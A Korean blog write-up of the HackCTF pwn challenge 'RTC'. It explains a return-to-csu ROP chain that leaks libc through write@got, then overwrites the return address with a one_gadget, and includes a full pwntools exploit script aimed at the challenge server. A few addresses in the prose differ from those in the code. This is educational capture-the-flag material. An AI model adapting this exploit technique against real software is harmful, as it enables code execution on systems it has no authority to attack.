상세 컨텐츠

본문 제목

[HackCTF] RTC

SYSTEM HACKING/HackCTF

by koharin 2020. 2. 3. 00:29

본문

728x90
반응형

# description

 

return to csu 문제이다.

 


# code

 

 

read로 buf에 입력받는데 return address를 덮을 수 있을만큼 충분히 입력받는다.

 


# process

 

 

 

 

1. loc_4006B6 주소(0x4006b6)로 return address를 덮는다.

- 리턴 시 이 곳으로 이동할 것이다.

 

2. 우리는 0x4006a0 주소의 rdx, rsi, edi 레지스터들을 사용하기 위해 r13, r14, r15에 적절히 원하는 값을 넣어야 한다.

 

mov rdx, r13  : r13 값을 rdx 레지스터에 적는다.

mov rsi, r14   : r14 값을 rsi 레지스터에 적는다.

mov edi, r15d  : r15 값을 edi 레지스터에 적는다.

call qword ptr [r12+rbx*8]  : r12 + rbx*8 주소에 적힌 주소를 호출한다. 따라서 r12에 원하는 함수 주소를 주려면 got를 줘야한다. 그리고 r12에 적힌 것만 호출하면 되므로 rbx = 0으로 준다.

add rbx, 1  : rbx에 1을 넣고

cmp rbx, rbp  : rbx와 rbp 비교

jnz short loc_4006a0  :  위에서 rbx와 rbp가 같아야 수행. 

 

따라서 일단 write(1, read@got, 8) 로 libc leak을 해서 one gadget 주소를 구해야 한다.

그럼 0x4006b6의 레지스터에는 다음과 같은 값들을 넣어야 한다.

 

add rsp, 8  :  8바이트 이동

pop rbx  -> rbx = 0 

pop rbp  -> rbp = 1 (rbx와 같아야 하므로)

pop r12  -> r12 = write@got (write_plt을 호출하게 된다.)

pop r13  -> r13 = 8 (read@got 크기)

pop r14  -> r14 = read@got 

pop r15  -> r15 = 1

retn       -> 리턴할 주소. 0x4006a0을 줘서 각 넣은 레지스터들 값으로 write(1, read@got, 8) 진행한다.

 

3. libc leak

 

4. 그리고 다시 main 함수를 호출한다. 

- main 호출 전 0x4007b6 코드 길이만큼 offset을 준다.

- 8바이트 씩 총 7개이므로 56바이트의 offset을 준다.

 

5. read로 return address를 onegadget으로 덮어서 onegadget을 실행한다.

 


 

# exploit code

 

 

#!/usr/bin/python                                                                                
from pwn import *
#context.log_level= 'debug'

#p = process("./rtc", env={'LD_PRELOAD' : './libc.so.6'})
p = remote("ctf.j0n9hyun.xyz", 3025)
elf = ELF("./rtc")
libc = ELF("./libc.so.6")
write_got = elf.got['write']
read_got = elf.got['read']
main = 0x4005f6

rbx = 0
rbp = 1
r12 = write_got
r13 = 8
r14 = read_got
r15 = 1

pay = 'A'*(0x40 + 0x8) + p64(0x4006ba)
pay += p64(0) + p64(1) + p64(write_got) + p64(8) + p64(read_got) + p64(1) + p64(0x4006a0)
pay += 'A'*8*7 + p64(main)

#gdb.attach(p)

p.sendlineafter("\n", pay)

read = u64(p.recv(8))
libcBase = read - libc.symbols['read']
one_gadget = libcBase + 0xf02a4

pay = 'A'*(0x40+0x8) + p64(one_gadget) + '\x00'*0x100

p.sendlineafter("\n", pay)

p.interactive()

 

 

# exploit

 

 

 


728x90
반응형

'SYSTEM HACKING > HackCTF' 카테고리의 다른 글

[HackCTF] 풍수지리설  (0) 2020.02.28
[HackCTF] Register  (0) 2020.02.10
[HackCTF] You are silver  (0) 2020.01.31
[HackCTF] Look at me (sysrop)  (0) 2020.01.31
[HackCTF] SysROP  (0) 2020.01.30

관련글 더보기